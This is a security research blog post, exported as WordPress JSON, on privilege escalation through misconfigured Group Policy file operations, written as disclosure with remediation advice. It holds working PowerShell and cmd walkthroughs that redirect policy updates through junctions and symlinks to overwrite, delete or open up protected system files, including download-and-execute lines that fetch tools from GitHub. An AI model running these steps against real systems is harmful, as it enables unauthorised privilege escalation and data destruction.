{"id":18822,"date":"2022-10-20T09:55:06","date_gmt":"2022-10-20T07:55:06","guid":{"rendered":"https:\/\/herolab.usd.de\/?p=18822"},"modified":"2022-10-20T09:55:37","modified_gmt":"2022-10-20T07:55:37","slug":"news-deploying-files-via-group-policies-or-how-group-policy-updates-can-ruin-your-day","status":"publish","type":"post","link":"https:\/\/herolab.usd.de\/en\/news-deploying-files-via-group-policies-or-how-group-policy-updates-can-ruin-your-day\/","title":{"rendered":"Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day"},"content":{"rendered":"\n<p>During a workstation assessment in the beginning of 2021, we identified a trivial privilege escalation vulnerability occurring during <em>Group Policy Updates<\/em>. The vulnerability itself was not exploitable by default but relied on a misconfiguration. However, this kind of misconfiguration seemed likely to occur in other environments too, so we informed Microsoft about the issue. They did not consider it security relevant.<\/p>\n\n\n\n<p>From this point on, the first thing we did when getting access to an <em>Active Directory<\/em> in an assessment was checking for this kind of misconfiguration. It was as expected: We identified similar issues in 90% of the analyzed environments, although not all of them led to privilege escalation.<\/p>\n\n\n\n<p>With this blog post, we want to increase awareness for this issue and hopefully help other security analysts and system administrators to identify and fix it.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Performing File Operations via Group Policy Updates<\/h3>\n\n\n\n<p><em>Windows Group Policies<\/em> are used to control and define the working environment of users and computers within <em>Active Directory<\/em>. They provide a great amount of control and allow to centrally manage Windows settings across an organization. From an offensive perspective, <em>Group Policies<\/em> have been mostly discussed in the context of access permissions (as for example in this <a href=\"https:\/\/wald0.com\/?p=179\" target=\"_blank\" rel=\"noopener\">excellent article<\/a> by <a href=\"https:\/\/twitter.com\/_wald0\" target=\"_blank\" rel=\"noopener\">Andy Robbins<\/a>) or when extracting credentials<br>out of <em>Group Policy Preference<\/em> files (as outlined in this <a href=\"https:\/\/www.rapid7.com\/blog\/post\/2016\/07\/27\/pentesting-in-the-real-world-group-policy-pwnage\/\" target=\"_blank\" rel=\"noopener\">blog post<\/a> by Bill Harshbarger). However, <em>Group Policies<\/em> can contain many other interesting configuration settings and perform operations that are interesting from an offensive perspective. Among these are file operations.<\/p>\n\n\n\n<p><em>Group Policies<\/em> can be used to deploy files, folders and access permissions across domain joined computers. This may sound uncommon, but from our experience it is used by many organizations to deploy globally used scripts and templates, to create folders that require a specific set of permissions or to remove legacy components that<br>may still be available on some workstations. File system operations can be configured using the <em>Group Policy Management Editor<\/em>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"656\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/01-example-policy-1024x656.png\" alt=\"\" class=\"wp-image-18824\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/01-example-policy-1024x656.png 1024w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/01-example-policy-980x628.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/01-example-policy-480x307.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n\n\n<p>The example above demonstrates how a template file can be deployed to all computers within a domain, but why is this dangerous? Well, there are several examples available where file system operations during <em>Group Policy Updates<\/em> have been abused for privilege escalation (e.g. <a href=\"https:\/\/www.cyberark.com\/resources\/threat-research-blog\/group-policies-going-rogue\" target=\"_blank\" rel=\"noopener\">this one<\/a> from <a href=\"https:\/\/twitter.com\/CyberArk\" target=\"_blank\" rel=\"noopener\">CyberArk<\/a> or <a href=\"https:\/\/decoder.cloud\/2020\/09\/23\/abusing-group-policy-caching\/\" target=\"_blank\" rel=\"noopener\">this one<\/a> from <a href=\"https:\/\/twitter.com\/decoder_it\" target=\"_blank\" rel=\"noopener\">Andrea Pierini<\/a>).<br>The underlying principle of these attacks is basically the same: A file system symbolic link is used to redirect file<br>operations from the high privileged <em>GPSVC<\/em> service to different locations within the file system.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"957\" height=\"639\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/02-attack-vector.png\" alt=\"\" class=\"wp-image-18826\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/02-attack-vector.png 957w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/02-attack-vector-480x321.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 957px, 100vw\" \/><\/figure>\n\n\n\n<p>How difficult it is to identify this kind of vulnerabilities depends on your goal. When you are only interested in exploitation opportunities from your current user account, creating a <em>HTML<\/em> report using <code>gpresult \/R report.html<\/code> is usually sufficient. A configuration like the one demonstrated above can be found in <code>Settings -&gt; Preferences -&gt; Windows Settings -&gt; Files<\/code> within this report:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"471\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/03-gpresult-1024x471.png\" alt=\"\" class=\"wp-image-18828\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/03-gpresult-980x451.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/03-gpresult-480x221.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n\n\n<p>If your intent is to find this kind of vulnerabilities globally within a domain, your best chance is probably to use a sufficiently high privileged user and to use <em>Group Policy Management Editor<\/em> to inspect all file and folder-based <em>GPOs<\/em> manually. If you only have a low privileged user available, you can attempt to find vulnerable policies manually by inspecting the <code>SYSVOL<\/code> share of the domain controller. Enrollment policies for files and folders are usually stored in <em>XML<\/em> files named <code>Files.xml<\/code> and <code>Folders.xml<\/code>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS C:\\&gt; Get-ChildItem -Recurse \\\\DC01\\SYSVOL Files.xml\n\n    Directory: \\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\USER\\Preferences\\Files\n\n\nMode                LastWriteTime         Length Name\n----                -------------         ------ ----\n-a----        8\/30\/2022  12:11 PM            464 Files.xml\n\n\nPS C:\\&gt; type \"\\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\USER\\Preferences\\Files\\Files.xml\"\n&lt;?xml version=\"1.0\" ?&gt;\n&lt;Files clsid=\"{215B2E53-57CE-475c-80FE-9EEC14635851}\"&gt;\n    &lt;File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"Template.docx\" status=\"Template.docx\" image=\"1\" changed=\"2022-08-30 10:11:52\" uid=\"{C11D27EA-661B-48FB-862B-5A2F595E50CD}\"&gt;\n        &lt;Properties action=\"R\" fromPath=\"\\\\SRV02\\Documents\\Template.docx\" targetPath=\"%AppData%\\OfficeTemplates\\Template.docx\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\"\/&gt;\n    &lt;\/File&gt;\n&lt;\/Files&gt;<\/pre>\n\n\n\n<p>Another nice trick to identify potentially vulnerable files and folders is looking for unexpected file ownership. Files within your <code>%AppData%<\/code> folder owned by <em>Administrators<\/em> or <em>NT Authority\\SYSTEM<\/em> were obviously created with high privileges. Tools like <a href=\"https:\/\/github.com\/qtc-de\/PowerEnum\" target=\"_blank\" rel=\"noopener\">PowerEnum<\/a> can be used to quickly identify such files:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS C:\\&gt; IEX(New-Object Net.WebClient).downloadString(\"https:\/\/raw.githubusercontent.com\/qtc-de\/PowerEnum\/main\/PowerEnum.ps1\")\nPS C:\\&gt; Get-ChildItem C:\\Users\\tdancer\\AppData -Recurse -Force -File | Get-AccessiblePath -ExcludeOwner tdancer | fl\n...\nAccessiblePath    : C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates\\Template.docx\nOwner             : NT AUTHORITY\\SYSTEM\nIdentityReference : USDLAB\\tdancer\nPermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Attack Vectors<\/h3>\n\n\n\n<p>Depending on the type of file operation that is performed, different attacks are possible. For this blog post, we have summarized the three most common vulnerability types we have encountered.<\/p>\n\n\n\n<p><strong>Overwriting Arbitrary Files<\/strong><\/p>\n\n\n\n<p>The ability to overwrite arbitrary files on a workstation is by far the most common vulnerability we identified.<br>Group Policies that deploy files to user writable locations in <code>C:\\ProgramData<\/code> or <code>%AppData%<\/code> are often used by<br>organizations and redirecting these file operations to different locations is usually possible. As an example,<br>assume we found the following Group Policy definition within an <em>HTML<\/em> report created with <code>gpresult<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"656\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/04-file-overwrite-1024x656.png\" alt=\"\" class=\"wp-image-18830\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/04-file-overwrite-1024x656.png 1024w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/04-file-overwrite-980x628.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/04-file-overwrite-480x307.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n\n\n<p>This <em>GPO<\/em> is dangerous, as the target can be written to by the user:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS C:\\Users\\tdancer\\AppData\\Roaming&gt; icacls .\\OfficeTemplates\n.\\OfficeTemplates NT AUTHORITY\\SYSTEM:(OI)(CI)(F)\n                  BUILTIN\\Administrators:(OI)(CI)(F)\n                  USDLAB\\tdancer:(OI)(CI)(F)<\/pre>\n\n\n\n<p>We can now use <a href=\"https:\/\/github.com\/usdAG\/SharpLink\" target=\"_blank\" rel=\"noopener\">SharpLink<\/a> to create a symbolic link at the targeted file location and redirect the operation to a different location:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS C:\\&gt; $code = (iwr https:\/\/raw.githubusercontent.com\/usdAG\/SharpLink\/main\/SharpLink.cs -UseBasicParsing).content\nPS C:\\&gt; Add-Type $code\nPS C:\\&gt; del C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates\\Template.docx\nPS C:\\&gt; $s = New-Object de.usd.SharpLink.Symlink(\"C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates\\Template.docx\", \"C:\\Windows\\win.ini\")\nPS C:\\&gt; $s.Open()\n[+] Creating Junction: C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates -&gt; \\RPC CONTROL\n[+] Creating DosDevice: Global\\GLOBALROOT\\RPC CONTROL\\Template.docx -&gt; \\??\\C:\\Windows\\win.ini\n[+] Symlink setup successfully.\nPS C:\\&gt; dir C:\\Windows\\win.ini\n\n    Directory: C:\\Windows\n\n\nMode                LastWriteTime         Length Name\n----                -------------         ------ ----\n-a----        9\/15\/2018   9:31 AM             92 win.ini\n\nPS C:\\&gt; gpupdate \/force\nUpdating policy...\n\nComputer Policy update has completed successfully.\nUser Policy update has completed successfully.\n\nPS C:\\&gt; dir C:\\Windows\\win.ini\n\n\n    Directory: C:\\Windows\n\n\nMode                LastWriteTime         Length Name\n----                -------------         ------ ----\n-a----        2\/28\/2017   5:41 PM       10762150 win.ini<\/pre>\n\n\n\n<p>Obviously, since the written content is not user controlled, such a vulnerability can usually only be used for denial-of-service attacks. However, as outlined in this <a href=\"https:\/\/decoder.cloud\/2022\/04\/25\/a-not-so-common-and-stupid-privilege-escalation\/\" target=\"_blank\" rel=\"noopener\">blog post<\/a> by <a href=\"https:\/\/twitter.com\/decoder_it\" target=\"_blank\" rel=\"noopener\">Andrea Pierini<\/a>, the source location of file operations is sometimes writable. This allows turning an uncontrolled file write into a fully controlled file write, resulting in a reliable privilege escalation.<\/p>\n\n\n\n<p><strong>Deleting Arbitrary Files<\/strong><\/p>\n\n\n\n<p>Being able to delete arbitrary files is almost as common as the overwriting scenario described above. Consider an organization realizes that a certain resource is no longer required but was already deployed to all workstations. <em>Group Policies<\/em> can be used to easily clean this up. We have encountered rules like the one in the following example during many engagements:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"461\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/05-file-delete-1024x461.png\" alt=\"\" class=\"wp-image-18832\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/05-file-delete-980x441.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/05-file-delete-480x216.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n\n\n<p>Exploitation in this case is even easier than for the file overwrite. Instead of working with symbolic links, we can just create a <em>Junction<\/em> using the builtin <code>mklink<\/code> utility. Wiping data from a protected folder? No problem!<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">C:\\ProgramData\\USOShared\\Logs&gt;dir\n Volume in drive C has no label.\n Volume Serial Number is DC98-0A9A\n\n Directory of C:\\ProgramData\\USOShared\\Logs\n\n30\/08\/2022  10:01    &lt;DIR&gt;          .\n30\/08\/2022  10:01    &lt;DIR&gt;          ..\n11\/12\/2019  09:16             8.192 NotificationUx.001.etl\n10\/12\/2019  13:54             8.192 NotificationUx.002.etl\n10\/12\/2019  13:33             8.192 NotificationUx.003.etl\n10\/12\/2019  09:00             8.192 NotificationUx.004.etl\n&lt;SNIP&gt;\n\nC:\\ProgramData\\USOShared\\Logs&gt;icacls NotificationUx.001.etl\nNotificationUx.001.etl NT AUTHORITY\\SYSTEM:(I)(F)\n                       BUILTIN\\Administrators:(I)(F)\n                       usdlab\\Julia:(I)(F)\n                       BUILTIN\\Users:(I)(RX)\n\nC:\\ProgramData\\USOShared\\Logs&gt;del NotificationUx.001.etl\nC:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl\nAccess is denied.\n\nC:\\ProgramData\\USOShared\\Logs&gt;mklink \/J C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates C:\\ProgramData\\USOShared\\Logs\nJunction created for C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates &lt;&lt;===&gt;&gt; C:\\ProgramData\\USOShared\\Logs\n\nC:\\ProgramData\\USOShared\\Logs&gt;gpupdate \/force\nUpdating policy...\n\nComputer Policy update has completed successfully.\nUser Policy update has completed successfully.\n\nC:\\ProgramData\\USOShared\\Logs&gt;dir\n Volume in drive C has no label.\n Volume Serial Number is DC98-0A9A\n\n Directory of C:\\ProgramData\\USOShared\\Logs\n\n30\/08\/2022  10:51    &lt;DIR&gt;          .\n30\/08\/2022  10:51    &lt;DIR&gt;          ..\n               0 File(s)              0 bytes\n               2 Dir(s)     238.686.208 bytes free<\/pre>\n\n\n\n<p>While file deletion vulnerabilities can obviously be used for denial-of-service attacks, in many cases they can also be exploited for privilege escalation. One example can be found in <a href=\"https:\/\/secret.club\/2020\/04\/23\/directory-deletion-shell.html\" target=\"_blank\" rel=\"noopener\">this article<\/a> by <a href=\"https:\/\/twitter.com\/jonaslyk\" target=\"_blank\" rel=\"noopener\">Jonas L<\/a>, but on typical workstations with many third-party software components, the whole <code>C:\\ProgramData<\/code> folder is an interesting target in general. Several products run high privileged processes or services that rely on files within <code>C:\\ProgramData<\/code>. Many of them do not change the inherited directory permissions and only configure restrictive permissions for files contained in those directories. This allows low privileged users write access to those directories. Being able to delete files and to replace them with other content often results in privilege escalation.<\/p>\n\n\n\n<p><strong>Permission Modification on Arbitrary Files<\/strong><\/p>\n\n\n\n<p>Permission modifications have usually been the most dangerous <em>Group Policy<\/em> configurations. Luckily, we have not encountered them often. Configuring them needs to be done in the <em>Computer Configuration<\/em> section of the <em>Group Policy Management Editor<\/em>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"655\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/06-configure-permissions-1024x655.png\" alt=\"\" class=\"wp-image-18834\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/06-configure-permissions-1024x655.png 1024w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/06-configure-permissions-980x627.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/06-configure-permissions-480x307.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n\n\n<p>One example for this situation was an organization, that used central Log folder <code>C:\\Internal\\Logs<\/code> for storing all log output generated by internally used tools. Since this log folder was also supposed to work for shared workspaces, modify permissions were assigned via <em>Group Policies<\/em> and the corresponding rule looked roughly like this:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"513\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/07-file-permission-1024x513.png\" alt=\"\" class=\"wp-image-18836\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/07-file-permission-980x491.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/10\/07-file-permission-480x241.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n\n\n<p>Unfortunately, the folder <code>C:\\Internal<\/code> was under the control of low privileged user accounts. Therefore, by removing the <code>C:\\Internal\\Logs<\/code> folder and replacing it with Junction or symbolic link, the permission assignment could be redirected to arbitrary resources:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS C:\\internal&gt; $code = (iwr https:\/\/raw.githubusercontent.com\/usdAG\/SharpLink\/main\/SharpLink.cs -UseBasicParsing).content\nPS C:\\internal&gt; Add-Type $code\nPS C:\\internal&gt; rmdir .\\logs\\ -Force\nPS C:\\internal&gt; $s = New-Object de.usd.SharpLink.Symlink(\"C:\\internal\\logs\", \"C:\\Windows\\system.ini\")\nPS C:\\internal&gt; $s.Open()\n[+] Creating Junction: C:\\internal -&gt; \\RPC CONTROL\n[+] Creating DosDevice: Global\\GLOBALROOT\\RPC CONTROL\\logs -&gt; \\??\\C:\\Windows\\system.ini\n[+] Symlink setup successfully.\nPS C:\\internal&gt; icacls C:\\Windows\\system.ini\nC:\\Windows\\system.ini NT AUTHORITY\\SYSTEM:(I)(F)\n                      BUILTIN\\Administrators:(I)(F)\n                      BUILTIN\\Users:(I)(RX)\n                      APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(I)(RX)\n                      APPLICATION PACKAGE AUTHORITY\\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)\n\nSuccessfully processed 1 files; Failed processing 0 files\nPS C:\\internal&gt; gpupdate \/force\nUpdating policy...\n\nComputer Policy update has completed successfully.\nUser Policy update has completed successfully.\n\nPS C:\\internal&gt; icacls C:\\Windows\\system.ini\nC:\\Windows\\system.ini APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(RX)\n                      NT AUTHORITY\\SYSTEM:(F)\n                      BUILTIN\\Administrators:(F)\n                      BUILTIN\\Users:(F)\n\nSuccessfully processed 1 files; Failed processing 0 files<\/pre>\n\n\n\n<p>Turning this vulnerability in a privilege escalation can be done in several ways, e.g. by overwriting service binaries or DLL hijacking.<\/p>\n\n\n\n<p>Identifying a misconfiguration as the one described above can be tricky. If you have a sufficiently high privileged user account, the computer policies are usually displayed within a report when running <code>gpresult<\/code> (you can also use the <code>\/SCOPE:Computer<\/code> option to request them explicitly). When using a low privileged user, you may not be allowed to view computer policies using <code>gpresult<\/code>. However, you can still find corresponding policies within the<br><code>SYSVOL<\/code> share of the domain controller:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS C:\\&gt; Get-ChildItem -Recurse \\\\DC01\\SYSVOL | Select-String \"File Security\" -List | Select Path\n\nPath\n----\n\\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\n\n\nPS C:\\&gt; type \"\\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\"\n[Unicode]\nUnicode=yes\n[System Access]\nMinimumPasswordAge = 1\nMaximumPasswordAge = 90\nMinimumPasswordLength = 8\nPasswordComplexity = 1\nPasswordHistorySize = 24\nLockoutBadCount = 0\nRequireLogonToChangePassword = 0\nForceLogoffWhenHourExpire = 0\nClearTextPassword = 0\nLSAAnonymousNameLookup = 0\n[Kerberos Policy]\nMaxTicketAge = 10\nMaxRenewAge = 7\nMaxServiceAge = 600\nMaxClockSkew = 5\nTicketValidateClient = 1\n[Version]\nsignature=\"$CHICAGO$\"\nRevision=1\n[Privilege Rights]\nSeMachineAccountPrivilege = *S-1-5-21-561523361-3746362414-1812353783-512\n[Registry Values]\nMACHINE\\System\\CurrentControlSet\\Control\\Lsa\\NoLMHash=4,1\n[File Security]\n\"%SystemDrive%\\internal\\logs\",0,\"D:PAR(A;OICI;0x1200a9;;;S-1-15-2-1)(A;OICIIO;FA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;BU)\"<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion and Recommendation<\/h3>\n\n\n\n<p>Performing file operations via *Group Policies* is a powerful mechanism for deploying and managing files and resources required by multiple computers across the domain. But with power comes responsibility. When using such policies, administrators should be aware that file operations targeting user-controlled parts of the file system can be redirected to different locations. Therefore, it is recommended to avoid such policies and only to use them when the targeted location is known to be secure. Organizations should check their existing *Group Policy* configuration for possible misconfigurations.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>All policies that deploy, modify or remove files, folders or permissions should be reviewed.<\/li><li>It should be checked whether the source or destination of the operation is located in a user controlled part of the file system.<\/li><li>Vulnerable policy definitions should be replaced by a secure alternative.<\/li><\/ul>\n\n\n\n<p>Additionally, if vulnerable policy definitions were identified in your organisation, indicators for already occurred attacks should be searched for.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">### September Update<\/h2>\n\n\n\n<p>As outlined by <a href=\"https:\/\/twitter.com\/decoder_it\" target=\"_blank\" rel=\"noopener\">Andrea Pierini<\/a>, with the 2022 September update, Microsoft configured <em>Redirection Trust<\/em> for the<br><em>Group Policy Client<\/em> service, which is responsible for applying <em>Group Policies<\/em> to domain joined systems. <em>Redirection Trust<\/em> is a relatively new feature which is described in more detail within <a href=\"https:\/\/unit42.paloaltonetworks.com\/junctions-windows-redirection-trust-mitigation\/\" target=\"_blank\" rel=\"noopener\">this great blog post<\/a> by <a href=\"https:\/\/twitter.com\/galdeleon\" target=\"_blank\" rel=\"noopener\">Gal De Leon<\/a>. It basically blocks high privileged service accounts from accessing <em>File System Junctions<\/em> that were created by low privileged user accounts. This feature is a great security improvement and could block attacks as described above. That being said, James Forshaw <a href=\"https:\/\/twitter.com\/tiraniddo\/status\/1537651844888993793\" target=\"_blank\" rel=\"noopener\">already outlined<\/a> that the solution may not be bullet proof at this point.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>During a workstation assessment in the beginning of 2021, we identified a trivial privilege escalation vulnerability occurring during Group Policy Updates. The vulnerability itself was not exploitable by default but relied on a misconfiguration. However, this kind of misconfiguration seemed likely to occur in other environments too, so we informed Microsoft about the issue. They [&hellip;]<\/p>\n","protected":false},"author":91,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"off","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"categories":[76],"tags":[163,88,86,162],"class_list":["post-18822","post","type-post","status-publish","format-standard","hentry","category-news","tag-microsoft","tag-pentest-en","tag-security-research-en","tag-vulnerabilities"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/18822","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/91"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=18822"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/18822\/revisions"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=18822"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/categories?post=18822"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/tags?post=18822"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}